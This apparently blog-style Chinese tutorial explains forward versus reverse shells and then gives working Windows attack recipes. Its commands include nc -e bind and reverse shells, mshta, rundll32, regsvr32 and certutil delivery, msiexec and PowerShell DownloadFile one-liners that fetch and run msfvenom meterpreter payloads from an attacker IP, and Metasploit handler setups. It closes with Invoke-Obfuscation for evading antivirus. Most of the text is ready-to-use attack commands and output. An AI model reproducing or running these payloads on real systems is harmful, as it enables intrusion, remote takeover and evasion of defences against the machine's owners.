什么是正向shell?
正向shell:控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。
反向shell:被控制端主动发起连接去请求连接控制,通常被控端由于防火墙受限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

简单点理解:攻击者找受害者,主动正向,反之就是反向连接
在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。
  
NC获取反弹shell
NC正向shell
被控端
nc -lvvp 6666 -e cmd.exe控制端
nc 被控端的地址  端口原理:
被控端将cmd重定向到本地6666端口,控制端主动连接到6666端口,即获得shell

NC反向shell
被控端
nc 控制端IP  端口  -e cmd控制端
nc -lvvp 端口原理:
被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。

建议端口尽量靠后,我发现这样更容易连接
Mshta.exe获取反弹shell
Mshta.exe是用于负责解释运行HTA(HTML应用程序)文件的Windows OS实用程序。可以运行javascript或vbscript的html文件。
HTA 简单用法
可双击运行hta应用或命令窗口mshta.exe解析执行
<script>
	hta = new ActiveXObject("WScript.Shell");
	hta.run("%windir%\\System32\\cmd.exe /c calc.exe", 0);  
	window.close();
</script>
使用msf来操作
msf6 > search hta
Matching Modules
================
   #   Name                                                      Disclosure Date  Rank       Check  Description
   -   ----                                                      ---------------  ----       -----  -----------
   0   auxiliary/scanner/http/apache_optionsbleed                2017-09-18       normal     No     Apache Optionsbleed Scanner
   1   exploit/linux/http/bludit_upload_images_exec              2019-09-07       excellent  Yes    Bludit Directory Traversal Image File Upload Vulnerability
   2   exploit/windows/misc/hta_server                           2016-10-06       manual     No     HTA Web Server
   3   auxiliary/dos/http/hashcollision_dos                      2011-12-28       normal     No     Hashtable Collisions
msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > show options
msf6 exploit(windows/misc/hta_server) > set srvhost 192.168.222.146
srvhost => 192.168.222.146
msf6 exploit(windows/misc/hta_server) > set srvport 8899
srvport => 8899
msf6 exploit(windows/misc/hta_server) > set lport 5678
lport => 5678
msf6 exploit(windows/misc/hta_server) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.222.146:5678 
[*] Using URL: http://192.168.222.146:8899/KiwKwwCE0nyldsn.hta
[*] Server started.
将http://192.168.222.146:8899/KiwKwwCE0nyldsn.hta复制到window的cmd中执行
mshta  http://192.168.222.146:8899/KiwKwwCE0nyldsn.hta使用Msfvenoom生成恶意HTA文件发起攻击

使用cs来生成文件
攻击 -> 生成后门 -> HTML Application -> powershell
钓鱼攻击 -> 文件下载 -> 选择生成的.hta -> 复制连接访问
Rundll32.exe反弹shell
Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其存储在适当的内存库中。
通过Metasploit的SMB Delivery模块发起Rundll32攻击
use exploit/windows/smb/smb_delivery
将其复制到cmd中执行,win11可能会报错,有一定的局限性

使用msfvenom生成反弹shell的dll发起Rundll32攻击

Regsvr32.exe工具
Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如注册表中的dll和Active控件。Regsvr32.exe安装在WindowsXP和Windows后续版本的%systemroot%\System32文件夹中。
语法:Regsvr32 [/s] [/u] [/i[:cmdline]] <dllname>

use exploit/multi/script/web_delivery
set srvhost  ip地址
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip地址
exploit -jCertuil.exe工具
certutil.exe是作为证书服务的一部分安装的命令行程序。我们可以使用此工具在目标计算机中执行恶意的exe文件以获得shell
1、使用cs的文件下载
2、msfvenom
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.222.146 lport=6789 -f exe > shell.exe执行:
certutil -urlcache -split -f http://192.168.222.146/shell.exe & shell.exe
certutil -urlcache -split -f http://192.168.222.146/shell.exe delete
certutil -urlcache -split * delete    //全部删除Powershell.exe工具
powercat是Powershell本地后门监听和反向shell工具,也成为修改版的netcat,因为它集成支持经过编码的有效载荷。
通过web delivery反弹shell
msf > use exploit/multi/script/web_delivery 
msf exploit(web_deliver) > set target 2
msf exploit(web_deliver) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(web_deliver) > exploit -j通过powershell启动cscript.exe
Poweshell允许客户端通过执行cscript.exe来运行wsf、js和vbscript脚本
通过powershell启动Bat文件
Powershell允许客户端执行bat文件
通过Metasploit启动msiexec攻击
Windows os安装有一个windows安装引擎,MSI包使用msiexec.exe来解释安装。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.146  LPORT=3476 -f msi > hjw2.msimsf中的设置
msf > use exploit/multi/handler
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > set lhost 192.168.222.146
msf > set lport 3476
msf > exploit -jcmd中执行 ( 存在杀软会不让你操作,会没有反应 )
msiexec /q /i http://192.168.222.146/hjw2.msi通过Metasploit生成恶意exe文件发起攻击
msfvenom生成exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.146  LPORT=3476 -f exe > hjw2.exemsf监听
powershell运行
poweshell (new-object System.Net.WebClient).DownloadFile('http://192.168.222.146/hjw.exe','hjw.exe');start hjw.exePowershell代码混淆
1、导入模块加载
进入invoke-Obsfuscation文件夹并打开powershell, 执行如下命令导入Invoke-Obfuscation模块
Import-Module .\Invoke-Obfuscation.psd1加载模块
Invoke-Obfuscation输入要加密的脚本路径
set scriptpath 脚本路径加密脚本
输出脚本
out hjw.ps1参考文章
PowerShell木马免杀利器: Invoke-Obfuscation(过火绒)_Henry404s的博客-CSDN博客
FreeBuf网络安全行业门户



















